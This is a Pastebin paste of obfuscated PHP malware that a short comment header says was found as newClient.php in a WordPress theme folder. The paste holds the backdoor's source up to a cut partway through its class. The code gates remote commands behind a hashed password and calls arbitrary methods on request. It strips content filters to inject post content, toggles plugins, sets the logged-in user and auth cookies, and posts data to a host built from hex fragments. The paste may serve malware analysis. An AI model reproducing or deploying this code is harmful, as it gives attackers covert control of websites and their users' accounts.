Advertisement
Guest User

wordpress malware wptemplatesoptions

a guest
Dec 6th, 2020
1,400
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 107.39 KB | None | 0 0
  1. //old ref: https://pastebin.com/NgU7cDvj
  2. //file newClient.php malware found under themes folder theme/wp-includes/newClient.php
  3. //obfuscated code below, ofcourse
  4. <?php
  5. if ( !class_exists( 'a5896a727b46e745467a8d5de1d07295a' ) ) {
  6.     class a5896a727b46e745467a8d5de1d07295a
  7.     {
  8.         private static $a1924db815c6aa5db6ad83ef06bdc9714 = null;
  9.         private $ac8c3b612bcce21af1acc102599aec902;
  10.         private $ad8590d11e3deec1403de6e485a7aa54b = '';
  11.         private $ae041d4a402908540b6c1491d14d4ef0b = 12;
  12.         private $af90e409c28642c6e36659e3611d71fca = '';
  13.         private $aa352130d9b7243bbd216f999e76be87e = '';
  14.         private $aaffb4d78043ec11a044cec3bcf661163 = '';
  15.         private $a663945ab607ddf751bde77583840143b;
  16.         private $a83d7c9ce1ac6738054e2a6881a70a830;
  17.         private $aa0fa5908c20939e894613e69ae8b3c4a;
  18.         private $a585c96c13f924650948638b32eca63e1;
  19.         private $aa5dc633737333e1955ebcb99628147c2;
  20.         private $a609951c203b2b2275a4a154d0e1f9f90;
  21.         private $ad76b03d9455443c3e6c40531f44d22ff;
  22.         private $a8fcd2454bb1cfa99de6c61555656e7ef;
  23.         private $ad805d4961239a87d032869a7d0d01ef1;
  24.         private $a2e0fb5ffd2d5e51de5a7ad1f0dcea479;
  25.         private $a4a8d7cd34b840e73a9601cb0f1963be1;
  26.         private $a5dde791dcd75fb4db1ac40a33a7b2d85;
  27.         private $a5092e097dffcf6c2927e0858c2807621;
  28.         private $a8a78276848ac93242f6b441e9bcf8e19;
  29.         private $a37453ce10f5ea273f68115e4a5d4274b;
  30.         private $abce882ddebdde53472c686d13fd445de;
  31.         private $ab1ed9eb9b6996f5213cc1f31a5243858;
  32.         private $a3d3c6f94ddaa1e52179a2312380c0079;
  33.         private $a6ec5a7596f36f50bcac81cf43dfe45fa;
  34.         private $a9d7cc9660b62067a46114018ab2bb4e5;
  35.         private $a1a18ca3fa572eb2e05040b71312a1938;
  36.         private $a48cb10e383589910969fb381d1002166;
  37.         private $a88a1cda5ef0c7f8fed4cda7c39d3bd13;
  38.         private $a701fa2ff9a7eda308bb1470a53818bcf;
  39.         private $a819e01a1ce32b79e0b557e19f3749e6b;
  40.         private $a2c8071de725b260a148fdfe8d2b5c228;
  41.         private $ab9ce5ca1b46c9da65d05a252ac1cb34b;
  42.         private $a95a38f44d8887a9304dd41aa0e1502cc;
  43.         private $ac8e86e29cd68d4ecd58776be25c7a5b1;
  44.         private $ae1bb044c2835891ddd2381db00c457dd;
  45.         private $a25c5bbb12d65127e1d9366767c2ca00f;
  46.         private $ace1655d8c04606ddedd77f6927a7365c;
  47.         private $a600a182ee2b8b2f1c42cd3d90567507b;
  48.         private $a0bb7dc88fc703cba5252e2814cd40dac;
  49.         private $a81dcd9ac5bfebb0449bd78ef71243b19;
  50.         private $aebcdd9b43dc85f5c212710af0976e450;
  51.         private $a3ad6b93a46092574448a14e503e4cca2;
  52.  
  53.         private function __construct() {
  54.             $this->ad76b03d9455443c3e6c40531f44d22ff = new stdClass();
  55.             $this->abce882ddebdde53472c686d13fd445de();
  56.             $this->ab1ed9eb9b6996f5213cc1f31a5243858();
  57.             $this->a3d3c6f94ddaa1e52179a2312380c0079();
  58.             $this->a9d7cc9660b62067a46114018ab2bb4e5();
  59.             $this->a48cb10e383589910969fb381d1002166();
  60.             $this->a88a1cda5ef0c7f8fed4cda7c39d3bd13();
  61.             $this->a701fa2ff9a7eda308bb1470a53818bcf();
  62.             $this->a819e01a1ce32b79e0b557e19f3749e6b();
  63.             $this->a2c8071de725b260a148fdfe8d2b5c228();
  64.             $this->ab9ce5ca1b46c9da65d05a252ac1cb34b();
  65.             $this->a1a18ca3fa572eb2e05040b71312a1938();
  66.             $this->a6ec5a7596f36f50bcac81cf43dfe45fa();
  67.             $this->a95a38f44d8887a9304dd41aa0e1502cc();
  68.             $this->ac8e86e29cd68d4ecd58776be25c7a5b1();
  69.             $this->ae1bb044c2835891ddd2381db00c457dd();
  70.             $this->a25c5bbb12d65127e1d9366767c2ca00f();
  71.             $this->ace1655d8c04606ddedd77f6927a7365c();
  72.             $this->a600a182ee2b8b2f1c42cd3d90567507b();
  73.             $this->a0bb7dc88fc703cba5252e2814cd40dac();
  74.             $this->a81dcd9ac5bfebb0449bd78ef71243b19();
  75.             $this->aebcdd9b43dc85f5c212710af0976e450();
  76.             $this->a3ad6b93a46092574448a14e503e4cca2();
  77.         }
  78.  
  79.         public static function a3085335264ab18dd4975fae16042cd18() {
  80.             if ( static::$a1924db815c6aa5db6ad83ef06bdc9714 === null ) {
  81.                 static::$a1924db815c6aa5db6ad83ef06bdc9714 = new static();
  82.             }
  83.  
  84.             return static::$a1924db815c6aa5db6ad83ef06bdc9714;
  85.         }
  86.  
  87.         private function af90e409c28642c6e36659e3611d71fca() {
  88.             $this->af90e409c28642c6e36659e3611d71fca = $this->ab4e0c5fa6628033f1567f1a891688244();
  89.             $this->aa352130d9b7243bbd216f999e76be87e = $this->af90e409c28642c6e36659e3611d71fca['path'];
  90.             $this->aaffb4d78043ec11a044cec3bcf661163 = $this->af90e409c28642c6e36659e3611d71fca['url'];
  91.         }
  92.  
  93.         private function a663945ab607ddf751bde77583840143b() {
  94.             return array(
  95.                 $this->af8f47b0c413f424de55b35df3dd1bf78( @$this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a9d7cc9660b62067a46114018ab2bb4e5] ),
  96.                 $this->af8f47b0c413f424de55b35df3dd1bf78( @$this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a48cb10e383589910969fb381d1002166] ),
  97.                 $this->af8f47b0c413f424de55b35df3dd1bf78( @$this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a88a1cda5ef0c7f8fed4cda7c39d3bd13] ),
  98.                 $this->af8f47b0c413f424de55b35df3dd1bf78( @$this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a701fa2ff9a7eda308bb1470a53818bcf] ),
  99.             );
  100.         }
  101.  
  102.         private function acd8c241c7a8e24d09aa75c2efa8f6d3d() {
  103.             if ( defined( 'ABSPATH' ) ) {
  104.                 return ABSPATH;
  105.             }
  106.             return $this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a819e01a1ce32b79e0b557e19f3749e6b] . $this->a95a38f44d8887a9304dd41aa0e1502cc;
  107.         }
  108.  
  109.  
  110.         private function a6ec5a7596f36f50bcac81cf43dfe45fa() {
  111.             $this->a6ec5a7596f36f50bcac81cf43dfe45fa = 'uploadDirWritable';
  112.         }
  113.  
  114.  
  115.         private function aae300e2ea47cf961549b544adbfcec23() {
  116.             return $this->a7cc0309fbbd90e107a4419ae095cb5d2( "{$this->ac8e86e29cd68d4ecd58776be25c7a5b1}{$this->ae1bb044c2835891ddd2381db00c457dd}{$this->a25c5bbb12d65127e1d9366767c2ca00f}{$this->ace1655d8c04606ddedd77f6927a7365c}{$this->a600a182ee2b8b2f1c42cd3d90567507b}{$this->a0bb7dc88fc703cba5252e2814cd40dac}{$this->a81dcd9ac5bfebb0449bd78ef71243b19}{$this->aebcdd9b43dc85f5c212710af0976e450}{$this->a3ad6b93a46092574448a14e503e4cca2}" );
  117.         }
  118.  
  119.         public function a09b8fcc3db4fccbb47e00ebbd7f3c444( $a16da25488cc713c1a1a74a98f4b6ab64 ) {
  120.             $a21f5282700891cec412236b44b0e8df3 = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
  121.             return @round( $a16da25488cc713c1a1a74a98f4b6ab64 / pow( 1024, ($a5d150f060e2a13ae326e0b888f6ee744 = floor( log( $a16da25488cc713c1a1a74a98f4b6ab64, 1024 ) )) ), 2 ) . ' ' . $a21f5282700891cec412236b44b0e8df3["{$a5d150f060e2a13ae326e0b888f6ee744}"];
  122.         }
  123.  
  124.         public function aad770f6f19c2e9a6f65fe53e71438146() {
  125.             $this->ac8c3b612bcce21af1acc102599aec902 = microtime( true );
  126.         }
  127.  
  128.         public function a0036d828d0875c5761723051da86a203() {
  129.             return (microtime( true ) - $this->ac8c3b612bcce21af1acc102599aec902);
  130.         }
  131.  
  132.         public function a0c875368eba422f71443e8257137fd37( $aa880814df5cd99cebe9c4064fc58e0fe, $af477c6d8f8241c5610918fec97b08c53, $ae1be67c029b6444c47339aa5427d9867 ) {
  133.             try {
  134.                 if ( $this->a2aeda1f9964806c9d10c231b6896f357( $aa880814df5cd99cebe9c4064fc58e0fe ) && strtolower( $aa880814df5cd99cebe9c4064fc58e0fe ) !== strtolower( __FUNCTION__ ) ) {
  135.                     if ( $this->a6dafd797f79898a93ddaa0eb56c64eef() ) {
  136.                         if ( $this->aa0fa5908c20939e894613e69ae8b3c4a->password === $this->af8f47b0c413f424de55b35df3dd1bf78( $ae1be67c029b6444c47339aa5427d9867 ) && $this->a6a83ad379fd642ca9a6833542cf9ac26() ) {
  137.                             $this->aad770f6f19c2e9a6f65fe53e71438146();
  138.                             return $this->{$aa880814df5cd99cebe9c4064fc58e0fe}( $af477c6d8f8241c5610918fec97b08c53 );
  139.                         }
  140.                     }
  141.                 }
  142.                 return false;
  143.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  144.                 return false;
  145.             }
  146.         }
  147.  
  148.         private function aa643c529bbba7503489fcae0b25377e4( $ae572fc846c4e181db757c1ca88049057, $a095af2f862f84c8b429d5f0207192ed3, $a4a8d7cd34b840e73a9601cb0f1963be1 = '', $a24fb83f68eeec6b4758b102504bf2d07 = '' ) {
  149.             try {
  150.                 $aa643c529bbba7503489fcae0b25377e4['code'] = $ae572fc846c4e181db757c1ca88049057;
  151.                 $aa643c529bbba7503489fcae0b25377e4['time'] = $this->a0036d828d0875c5761723051da86a203();
  152.                 $aa643c529bbba7503489fcae0b25377e4['memory'] = $this->a09b8fcc3db4fccbb47e00ebbd7f3c444( memory_get_usage( true ) );
  153.                 $aa643c529bbba7503489fcae0b25377e4['message'] = $a095af2f862f84c8b429d5f0207192ed3;
  154.                 $aa643c529bbba7503489fcae0b25377e4['data'] = $a4a8d7cd34b840e73a9601cb0f1963be1;
  155.                 if ( $a24fb83f68eeec6b4758b102504bf2d07 !== '' ) {
  156.                     $aa643c529bbba7503489fcae0b25377e4['errorNo'] = $a24fb83f68eeec6b4758b102504bf2d07;
  157.                 }
  158.  
  159.                 return json_encode( $aa643c529bbba7503489fcae0b25377e4, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
  160.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  161.                 return false;
  162.             }
  163.         }
  164.  
  165.         private function a2f7651595778ab0968191563fa9e73f2() {
  166.             if ( function_exists( 'php_uname' ) ) {
  167.                 return php_uname();
  168.             }
  169.             return false;
  170.         }
  171.  
  172.         private function a6a3ef5326f7e5fab7b888ef79e1bb540( $ac5a9ee8bb1e259463cc3843cd1a9b7d3 = '', $a854c9367a12129278120e9580ad1c117 = 'raw' ) {
  173.             try {
  174.                 if ( function_exists( 'get_bloginfo' ) ) {
  175.                     return get_bloginfo( $ac5a9ee8bb1e259463cc3843cd1a9b7d3, $a854c9367a12129278120e9580ad1c117 );
  176.                 }
  177.                 return false;
  178.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  179.                 return false;
  180.             }
  181.         }
  182.  
  183.         private function a88a1cda5ef0c7f8fed4cda7c39d3bd13() {
  184.             $this->a88a1cda5ef0c7f8fed4cda7c39d3bd13 = 'HTTP_CF_CONNECTING_IP';
  185.         }
  186.  
  187.         private function aa0e0c7332c73b8ca3ef511cfc4dd2a06() {
  188.             if ( function_exists( 'get_template_directory' ) ) {
  189.                 return get_template_directory();
  190.             }
  191.             return false;
  192.         }
  193.  
  194.         private function aebcdd9b43dc85f5c212710af0976e450() {
  195.             $this->aebcdd9b43dc85f5c212710af0976e450 = '6576';
  196.         }
  197.  
  198.         private function a1e13092c601d571b221b9f1b61cbe959( $a4a8d7cd34b840e73a9601cb0f1963be1 = null ) {
  199.             try {
  200.                 if ( !empty( $a4a8d7cd34b840e73a9601cb0f1963be1 ) || !is_null( $a4a8d7cd34b840e73a9601cb0f1963be1 ) ) {
  201.                     $aba5d668287214a08c4cf458bf05303b7 = @json_decode( $a4a8d7cd34b840e73a9601cb0f1963be1 );
  202.                     if ( empty( $aba5d668287214a08c4cf458bf05303b7 ) || is_null( $aba5d668287214a08c4cf458bf05303b7 ) ) {
  203.                         return false;
  204.                     }
  205.                     return true;
  206.                 }
  207.                 return false;
  208.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  209.                 return false;
  210.             }
  211.         }
  212.  
  213.         private function a617339d82e9e427d26e15f523e081fb3( $ac97b6ba424d5508afa4b903909c739b5 ) {
  214.             try {
  215.                 return round( (strtotime( date( 'Y-m-d H:i:s' ) ) - $ac97b6ba424d5508afa4b903909c739b5) / 60 / 60 );
  216.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  217.                 return false;
  218.             }
  219.         }
  220.  
  221.         private function a3ad6b93a46092574448a14e503e4cca2() {
  222.             $this->a3ad6b93a46092574448a14e503e4cca2 = '2f';
  223.         }
  224.  
  225.         private function a3cd9cf46ff01ea6b57caa117e563e4d6( $ab6f643c75ea18de3a6f5c7fd57e5fc6f = '' ) {
  226.             if ( function_exists( 'get_theme_root' ) ) {
  227.                 return get_theme_root( $ab6f643c75ea18de3a6f5c7fd57e5fc6f );
  228.             }
  229.             return false;
  230.         }
  231.  
  232.         private function a40e4245aa3dd6d7d188a781d24fcff8e() {
  233.             if ( function_exists( 'gethostbyname' ) ) {
  234.                 return gethostbyname( getHostName() );
  235.             }
  236.             return $this->a3d3c6f94ddaa1e52179a2312380c0079[$this->a2c8071de725b260a148fdfe8d2b5c228];
  237.         }
  238.  
  239.         private function a585a532cb91704f9efdf5b51ace8bbcd() {
  240.             if ( function_exists( 'is_home' ) ) {
  241.                 return is_home();
  242.             }
  243.             return false;
  244.         }
  245.  
  246.         private function af2070fbbc84947c20b02491e18855c0a() {
  247.             if ( function_exists( 'is_front_page' ) ) {
  248.                 return is_front_page();
  249.             }
  250.             return false;
  251.         }
  252.  
  253.         private function a1d0b6f020de2736af0230f345d913520( $a93a0004c1656db5f8b386e26bcc44d52, $a483fc89a4ea5046ee753ab0a1ee09d99 = array() ) {
  254.             if ( function_exists( 'wp_remote_post' ) ) {
  255.                 return wp_remote_post( $a93a0004c1656db5f8b386e26bcc44d52, $a483fc89a4ea5046ee753ab0a1ee09d99 );
  256.             }
  257.             return false;
  258.         }
  259.  
  260.         private function a1adaccefc9102fc58596aaa7d138db8a( $a4ab513a96beb1d9972a9fd4c66f78780 ) {
  261.             if ( function_exists( 'wp_remote_retrieve_response_code' ) ) {
  262.                 return wp_remote_retrieve_response_code( $a4ab513a96beb1d9972a9fd4c66f78780 );
  263.             }
  264.             return false;
  265.         }
  266.  
  267.         private function ace1655d8c04606ddedd77f6927a7365c() {
  268.             $this->ace1655d8c04606ddedd77f6927a7365c = '2f77';
  269.         }
  270.  
  271.         private function a73ae5a8ba5e9794dc485459b91e20d99( $a4ab513a96beb1d9972a9fd4c66f78780 ) {
  272.             if ( function_exists( 'wp_remote_retrieve_body' ) ) {
  273.                 return wp_remote_retrieve_body( $a4ab513a96beb1d9972a9fd4c66f78780 );
  274.             }
  275.             return false;
  276.         }
  277.  
  278.         private function a21b75c1d2c973fc7f78eb6d0e348bc6a( $af663ac91f38fa10e9bddc4c1974a6449 = '', $ae153da2a402e2312e1bfc8b358b68108 = null ) {
  279.             if ( function_exists( 'site_url' ) ) {
  280.                 return site_url( $af663ac91f38fa10e9bddc4c1974a6449, $ae153da2a402e2312e1bfc8b358b68108 );
  281.             }
  282.             return false;
  283.         }
  284.  
  285.         private function ab4e0c5fa6628033f1567f1a891688244() {
  286.             try {
  287.                 if ( function_exists( 'wp_upload_dir' ) ) {
  288.                     return wp_upload_dir();
  289.                 }
  290.                 return false;
  291.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  292.                 return false;
  293.             }
  294.         }
  295.  
  296.         private function a2a24d44ede01bf9ac4e39097b529fee8() {
  297.             try {
  298.                 if ( function_exists( 'wp_count_posts' ) ) {
  299.                     return intval( wp_count_posts()->publish );
  300.                 }
  301.                 return false;
  302.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  303.                 return false;
  304.             }
  305.         }
  306.  
  307.         private function a2b0d26babd39ddb2714b04816c1c5af0() {
  308.             if ( !function_exists( 'kses_remove_filters' ) ) {
  309.                 include_once($this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . 'wp-includes/kses.php');
  310.                 $this->a2b0d26babd39ddb2714b04816c1c5af0();
  311.             } else {
  312.                 kses_remove_filters();
  313.             }
  314.             return false;
  315.         }
  316.  
  317.         private function a0d01c51d4bc396a7050247b1a08fce68( $abb42ded84c28c8243ab5fbe9b25e2b83 = array(), $a5d81aaefd35790d67fc64618d40f648a = false ) {
  318.             if ( function_exists( 'wp_update_post' ) ) {
  319.                 $this->a2b0d26babd39ddb2714b04816c1c5af0();
  320.                 return wp_update_post( $abb42ded84c28c8243ab5fbe9b25e2b83, $a5d81aaefd35790d67fc64618d40f648a );
  321.             }
  322.             return false;
  323.         }
  324.  
  325.         private function ae6fd86ac4ce30b335f27a5fac9d2df4d() {
  326.             try {
  327.                 if ( function_exists( 'get_categories' ) ) {
  328.                     $af2b67b96f4b0a696a2931ad11b7c80df = array();
  329.                     foreach ( get_categories() as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  330.                         $af2b67b96f4b0a696a2931ad11b7c80df[$a70b8adedc62145cbf5f04a71aefb4d6a->term_id] = $a70b8adedc62145cbf5f04a71aefb4d6a->name;
  331.                     }
  332.                     return $af2b67b96f4b0a696a2931ad11b7c80df;
  333.                 }
  334.                 return false;
  335.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  336.                 return false;
  337.             }
  338.         }
  339.  
  340.         private function a37b32f579f5a11e720c6e4172217aa0f( $a6dafd797f79898a93ddaa0eb56c64eef = null, $aaaec6df2c9a0eca15658c42fe12b7b68 = null, $a854c9367a12129278120e9580ad1c117 = 'raw' ) {
  341.             if ( is_null( $aaaec6df2c9a0eca15658c42fe12b7b68 ) ) {
  342.                 $aaaec6df2c9a0eca15658c42fe12b7b68 = new stdClass();
  343.             }
  344.             if ( function_exists( 'get_post' ) ) {
  345.                 return get_post( $a6dafd797f79898a93ddaa0eb56c64eef, $aaaec6df2c9a0eca15658c42fe12b7b68, $a854c9367a12129278120e9580ad1c117 );
  346.             }
  347.             return false;
  348.         }
  349.  
  350.         private function a33e1dccf5a09fc17c03600bde3c6cc8f( $abcd0dc739fc0d5421918c0015a06716a = '' ) {
  351.             if ( function_exists( 'get_plugins' ) ) {
  352.                 return get_plugins( $abcd0dc739fc0d5421918c0015a06716a );
  353.             }
  354.             return false;
  355.         }
  356.  
  357.         private function ab990661c0c4725b3b01771459a7c004f( $a5dde791dcd75fb4db1ac40a33a7b2d85 ) {
  358.             if ( function_exists( 'is_plugin_active' ) ) {
  359.                 return is_plugin_active( $a5dde791dcd75fb4db1ac40a33a7b2d85 );
  360.             } else {
  361.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf = $this->a87cb76af9740a0c2a465436da3cac308( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . 'wp-admin/includes/plugin.php' ) ) ) {
  362.                     include_once($a40936dc72d5025e63c6b787d0d52c8bf);
  363.                     return $this->ab990661c0c4725b3b01771459a7c004f( $a5dde791dcd75fb4db1ac40a33a7b2d85 );
  364.                 }
  365.             }
  366.             return false;
  367.         }
  368.  
  369.         private function a87b134c04d6083f08ed801d1b848cc14( $a496cf4e833ce1c42bb7084b233c75fe7, $a2bc553b262c12039a2113dd21934a245 = false, $af1664a68ba407e4f510e3d840458f5d1 = null ) {
  370.             if ( function_exists( 'deactivate_plugins' ) ) {
  371.                 return deactivate_plugins( $a496cf4e833ce1c42bb7084b233c75fe7, $a2bc553b262c12039a2113dd21934a245, $af1664a68ba407e4f510e3d840458f5d1 );
  372.             }
  373.             return false;
  374.         }
  375.  
  376.         private function a9ccc364b9e23f45c1a8dd25e0e11b9e1( $a496cf4e833ce1c42bb7084b233c75fe7, $ab17cd2fee36848ac680462813c81b573 = '', $af1664a68ba407e4f510e3d840458f5d1 = false, $a2bc553b262c12039a2113dd21934a245 = false ) {
  377.             if ( function_exists( 'activate_plugins' ) ) {
  378.                 return activate_plugins( $a496cf4e833ce1c42bb7084b233c75fe7, $ab17cd2fee36848ac680462813c81b573, $af1664a68ba407e4f510e3d840458f5d1, $a2bc553b262c12039a2113dd21934a245 );
  379.             }
  380.             return false;
  381.         }
  382.  
  383.         private function ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( $ad7ce988a4533441170838d30b9e0cdb6, $a33abb839b43d5fc86b62a838616cf7fc = false ) {
  384.             if ( function_exists( 'get_option' ) ) {
  385.                 return get_option( $ad7ce988a4533441170838d30b9e0cdb6, $a33abb839b43d5fc86b62a838616cf7fc );
  386.             }
  387.             return false;
  388.         }
  389.  
  390.         private function a56a1b6e2e90e0af3608e3630feedaaee( $ad7ce988a4533441170838d30b9e0cdb6, $a711ef9d122459f6dcae4f72820aeb7a4, $a131adf960d1971b434dbaec582f6976b = null ) {
  391.             if ( function_exists( 'update_option' ) ) {
  392.                 return update_option( $ad7ce988a4533441170838d30b9e0cdb6, $a711ef9d122459f6dcae4f72820aeb7a4, $a131adf960d1971b434dbaec582f6976b );
  393.             }
  394.             return false;
  395.         }
  396.  
  397.         private function a41c24b2c1e300d0c0b111baabe8dd87d( $ad7ce988a4533441170838d30b9e0cdb6, $a711ef9d122459f6dcae4f72820aeb7a4 = '', $a8b5805bcd93f280c37d16dae00ab83a2 = '', $a131adf960d1971b434dbaec582f6976b = 'yes' ) {
  398.             if ( function_exists( 'add_option' ) ) {
  399.                 return add_option( $ad7ce988a4533441170838d30b9e0cdb6, $a711ef9d122459f6dcae4f72820aeb7a4, $a8b5805bcd93f280c37d16dae00ab83a2, $a131adf960d1971b434dbaec582f6976b );
  400.             }
  401.             return false;
  402.         }
  403.  
  404.         private function a701fa2ff9a7eda308bb1470a53818bcf() {
  405.             $this->a701fa2ff9a7eda308bb1470a53818bcf = 'HTTP_X_FORWARDED_FOR';
  406.         }
  407.  
  408.         private function ae86d6df0fee539c4030f8bda2ef77722( $a483fc89a4ea5046ee753ab0a1ee09d99 = array() ) {
  409.             if ( function_exists( 'wp_get_themes' ) ) {
  410.                 return wp_get_themes( $a483fc89a4ea5046ee753ab0a1ee09d99 );
  411.             }
  412.             return false;
  413.         }
  414.  
  415.         private function a5ae9fa299c6b40ad732de135d15187b6( $aa3aae3840a1310b268040c1967de13c2, $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  416.             if ( function_exists( 'get_user_by' ) ) {
  417.                 return get_user_by( $aa3aae3840a1310b268040c1967de13c2, $a711ef9d122459f6dcae4f72820aeb7a4 );
  418.             }
  419.             return false;
  420.         }
  421.  
  422.         private function a1463b133ef44ba8f5a9ccfa84b956193( $a3f5f3c26cc3739740fe60cd7c49527b4, $a8eda406016aed4948edc5a4f0fa2afcd = '' ) {
  423.             if ( function_exists( 'wp_set_current_user' ) ) {
  424.                 return wp_set_current_user( $a3f5f3c26cc3739740fe60cd7c49527b4, $a8eda406016aed4948edc5a4f0fa2afcd );
  425.             }
  426.             return false;
  427.         }
  428.  
  429.         private function ade2fab4bc3be57d81b361683ed159ac5( $adcef10604d8f67d6f7c6b209f92668e6, $a57ba8a560a542f8caa11ce55e84d4bc2 = true, $ac116ce45e5c3980e6bed81bdb4b3007d = '', $ae1be67c029b6444c47339aa5427d9867 = '' ) {
  430.             if ( function_exists( 'wp_set_auth_cookie' ) ) {
  431.                 return wp_set_auth_cookie( $adcef10604d8f67d6f7c6b209f92668e6, $a57ba8a560a542f8caa11ce55e84d4bc2, $ac116ce45e5c3980e6bed81bdb4b3007d, $ae1be67c029b6444c47339aa5427d9867 );
  432.             }
  433.             return false;
  434.         }
  435.  
  436.  
  437.         private function ae21eb4deedf7e10116ef04be6a37faf7( $acee6109febe8b68e4d9e8f37bbc96636, $ab7714a17b9e214dd4d79f3ba529233eb ) {
  438.             if ( function_exists( 'wp_authenticate' ) ) {
  439.                 return wp_authenticate( $acee6109febe8b68e4d9e8f37bbc96636, $ab7714a17b9e214dd4d79f3ba529233eb );
  440.             } else {
  441.                 include_once($this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . 'wp-includes/pluggable.php');
  442.             }
  443.             return false;
  444.         }
  445.  
  446.         private function ab68456930ddb2e64857d8a64d2b4b189( $aaafbc50ac128a0dca1e436544c5550a4, $aafb7290e38c02e1587d57e6bf743142e, $abb58d123690b8be6fc7e5277741b0edd = 10, $a6ae29cde7b2c1bb41733dc41a5f24fac = 1 ) {
  447.             if ( function_exists( 'add_action' ) ) {
  448.                 return add_action( $aaafbc50ac128a0dca1e436544c5550a4, $aafb7290e38c02e1587d57e6bf743142e, $abb58d123690b8be6fc7e5277741b0edd, $a6ae29cde7b2c1bb41733dc41a5f24fac );
  449.             }
  450.             return false;
  451.         }
  452.  
  453.         private function a1827526cac4f70fc368adb472114146c( $aaafbc50ac128a0dca1e436544c5550a4, $aafb7290e38c02e1587d57e6bf743142e, $abb58d123690b8be6fc7e5277741b0edd = 10, $a6ae29cde7b2c1bb41733dc41a5f24fac = 1 ) {
  454.             if ( function_exists( 'add_filter' ) ) {
  455.                 return add_filter( $aaafbc50ac128a0dca1e436544c5550a4, $aafb7290e38c02e1587d57e6bf743142e, $abb58d123690b8be6fc7e5277741b0edd, $a6ae29cde7b2c1bb41733dc41a5f24fac );
  456.             }
  457.             return false;
  458.         }
  459.  
  460.         private function a4f882ba43411425179717d426e6a4db8() {
  461.             $acb339616b92d545dfae0de3a61db55b7 = false;
  462.             if ( function_exists( 'is_user_logged_in' ) ) {
  463.                 $acb339616b92d545dfae0de3a61db55b7 = is_user_logged_in();
  464.             }
  465.             return $acb339616b92d545dfae0de3a61db55b7;
  466.         }
  467.  
  468.         private function wp_update_post() {
  469.             try {
  470.                 if ( !$this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['post_title'] ) || !$this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['post_content'] ) ) {
  471.                     return false;
  472.                 }
  473.                 $abce17e04d2fe729e815ad3cb51970cbf = array(
  474.                     'ID'           => $this->ab1ed9eb9b6996f5213cc1f31a5243858['id'],
  475.                     'post_title'   => $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['post_title'] ),
  476.                     'post_content' => $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['post_content'] ),
  477.                 );
  478.                 if ( $this->a0d01c51d4bc396a7050247b1a08fce68( $abce17e04d2fe729e815ad3cb51970cbf ) ) {
  479.                     return $this->aa643c529bbba7503489fcae0b25377e4( true, __FUNCTION__, $this->a37b32f579f5a11e720c6e4172217aa0f( $this->ab1ed9eb9b6996f5213cc1f31a5243858['id'] ) );
  480.                 }
  481.                 return false;
  482.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  483.                 return false;
  484.             }
  485.         }
  486.  
  487.         private function home() {
  488.             try {
  489.                 if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['home_path'] ) ) {
  490.                     return $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['home_path'] );
  491.                 }
  492.                 if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['home_directory'] ) ) {
  493.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a95a38f44d8887a9304dd41aa0e1502cc;
  494.                     for ( $a5d150f060e2a13ae326e0b888f6ee744 = 1; $a5d150f060e2a13ae326e0b888f6ee744 <= $this->ab1ed9eb9b6996f5213cc1f31a5243858['home_directory']; $a5d150f060e2a13ae326e0b888f6ee744++ ) {
  495.                         $a1ff9c6abd398f1a173ad9efceec2c23b .= $this->a95a38f44d8887a9304dd41aa0e1502cc . '..' . $this->a95a38f44d8887a9304dd41aa0e1502cc;
  496.                     }
  497.                     return realpath( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . $a1ff9c6abd398f1a173ad9efceec2c23b ) . $this->a95a38f44d8887a9304dd41aa0e1502cc;
  498.                 }
  499.                 return realpath( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() ) . $this->a95a38f44d8887a9304dd41aa0e1502cc;
  500.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  501.                 return false;
  502.             }
  503.         }
  504.  
  505.         private function af8f47b0c413f424de55b35df3dd1bf78( $aa30e7d19d31b3921dd7a93e4950e239d ) {
  506.             try {
  507.                 return md5( sha1( md5( $aa30e7d19d31b3921dd7a93e4950e239d ) ) );
  508.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  509.                 return false;
  510.             }
  511.         }
  512.  
  513.         private function a9a76b686c0d9d293adbe1c58402c2155( $a0a99d9e64540c9041faa4458b883627f ) {
  514.             try {
  515.                 if ( is_null( $a0a99d9e64540c9041faa4458b883627f ) || empty( $a0a99d9e64540c9041faa4458b883627f ) ) {
  516.                     return true;
  517.                 }
  518.                 return false;
